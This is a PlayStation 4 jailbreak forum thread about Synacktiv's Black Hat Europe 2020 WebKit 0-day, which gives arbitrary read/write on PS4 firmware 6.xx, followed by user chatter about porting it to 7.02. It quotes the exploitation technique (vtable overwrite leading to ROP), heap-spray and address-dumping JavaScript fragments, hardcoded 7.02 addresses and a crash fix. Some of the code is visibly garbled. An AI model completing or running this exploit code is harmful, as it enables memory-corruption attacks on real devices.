Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS4 Jailbreaking       Thread starter PSXHAX       Start date Dec 10, 2020 at 8:30 AM       39      
Not open for further replies.
Following their Initial Announcement and the recent PS4 WebKit 7.00-7.02 Exploit Talos WebSocket Vulnerability Probe, today abu_y0ussef and 0xdagger via Synacktiv shared at Black Hat Europe 2020 a Webkit exploit that gives arbitrary R/W (Read / Write) permission on 6.XX PS4 Firmware for PS4 Scene developers to further examine. :geek:

Download: / GIT / eu-20-Meffre-This-Is-For-The-Pwners-Exploiting-A-Webkit-0day-In-Playstation4.pdf

This comes proceeding the PS4 6.XX JSC_ConcatMemcpy WebKit Exploit PoC, PS4 6.20 WebKit Code Execution Exploit PoC, PS4 Webkit Bad_Hoist Exploit for PlayStation 4 Firmware 6.XX and PS4 Kernel Exploit (KEX) for 7.02 Firmware with developer sleirsgoevy sharing this This Link via Twitter that Jailbroken PS4 5.05 Console owners can visit to aid in collecting statistics for use in porting the BHEU exploit to 7.02 System Software. 🔥

Below is a concluding summary of the This is for the Pwners: Exploiting a WebKit 0-day in PlayStation 4 presentation from, to quote:

Code execution

PS4 browser doesn't allow allocating RWX memory pages. But with an arbitrary R/W, we can control RIP register. For example, we can overwrite the vtable pointer of one of our previously sprayed HTMLTextAreaElement making it points to data that we control. Calling a JavaScript method on HTMLTextAreaElement will result in a call to an address under our control. From there, we can do code re-use (like ROP or JOP) to implement the next stage.

The exploit is available at Synacktiv's Github repository.

Porting the exploit on 7.xx firmware

We managed to successfully exploit our bug on 6.xx firmware due to a weakness on ASLR implementation that allowed us to predict the address of HTML objects. The predictable address is hardcoded in the exploit and has been identified thanks to the bad-hoist exploit. However, without a prior knowledge on memory mapping, the only way to determine the address of our sprayed HTMLElement objects is to brute force this address.

Brute forcing on the PS4 is tedious as the browser requires a user interaction in order to restart. Our idea is to plug a Raspberry Pi that acts as a keyboard on the PS4. Its main goal is to hit enter at periodical time (5s) to restart the browser after the crash. The brute forced address is updated at each attempt and stored in a cookie.

Unfortunately, we didn't get any result so far. We probably haven't run the brute force for a long enough period of time to cover the entire address space.

// code from the black hat repository

function sprayHTMLTextArea() {
    textarea_div_elem = document.createElement("div");
    document.body.appendChild(textarea_div_elem); = "div1";
    var element = document.createElement("textarea");

    /* Add a style to avoid textarea display */ = 'display:block-inline;height:1px;width:1px;visibility:hidden;';

     * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
     * allocation of the node attributes and an IsoHeap allocation of the
     * Element. The virtual page layout will look something like that:
     * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
    for (let i = 0; i < 0x6000; i++)

// end copy-paste


var pr_buf = '';
function buf_print(s, last)
    pr_buf += s + '\n';

function dumpAddresses()
    for(var i = 0; i < textarea_div_elem.childNodes.length; i++)
        var addr1 = addrof(textarea_div_elem.childNodes[i]);
        var addr2 = read_ptr_at(addr1 + 0x18);
        buf_print(i+" 0x"+(new Number(addr1)).toString(16)+" 0x"+(new Number(addr2)).toString(16), i == textarea_div_elem.childNodes.length - 1);


Some valid 7.02 addresses:
  • 0x200eb00d8
  • 0x200f300d8
  • 0x200fb00d8
  • 0x2011100d8
The success rate is about 10% for the last one. Unfortunately the exploit then crashes in the critical section in leakJSC. Will now investigate how to fix it.
Fix for the crash in leakJSC(): after debug_log("[+] Got a relative read"); insert        var tmp_spray = {};        for(var i = 0; i < 100000; i++)                tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337;
This is for the Pwners : Exploiting a WebKit 0-day in PlayStation 4
This is for the Pwners Exploiting a WebKit 0-day in PlayStation 4.png


ok thanks I'll wait patiently in 8.01, I hope they will soon release a kexploit report in hackerone and declassify it to months
for all the people saying they wil wait for a 8.01 kexploit, do even have an idea how hard it is to get a kexploit? it probably will be another 2 years before we get another one, and even then hackers may want to wait before no game is being released for ps4 anymore (baring those legacy edition games)
I know, but now this hackerone is repounding sony bugs, it just needs someone to publish it there and then the report is released or simply published on their own, the last one was through theflow, if it does not report it, surely we are still in 5.05

also fire30 usually publishes the sha1, and I think it has something but it is private, you just have to wait, I don't mind playing offline as long as it takes
@bajolzas personally I was simply talking about getting the 8.01 webkit finished instead of the 7.02 one so that, in addition to us getting 7.02 hen for now, when a post 7.02 kexploit is released we will already have a fully ready for use webkit to merge with it.

If we simply get the 7.02 one ready then we will waste far more time when the post 7.02 kexploit is released because we will need to work from the beginning on the webkit too. I am not saying the kexploit is coming any time soon, simply that it is better to prepare the superior webkit to make the job easier and the preparation time less whenever the kexploit is released.

However, those on a higher than 7.02 firmware have no choice but to wait for a new kexploit no matter how long it takes.

@thejavigames hopefully it is released relatively soon. :)
@unbreakable there is still merit on doing the 7.02 webkit as we dont know what stability either one have.. so 7.02 could be better or worse so making it to see gives us something.
@unbreakable what's the point of skipping something that is around the corner, to work on something that will not come in the near future? 7.02 is what we "have" for now, after that is worked on, "we" will have a lot of time to work on 8.01 before a kexploit for it is found.

And sure, those on higher firmware will not be able to use the 7.02 exploit, but its not like working on a 8.01 webkit exploit will bring a kexploit to it any sooner.
Not open for further replies.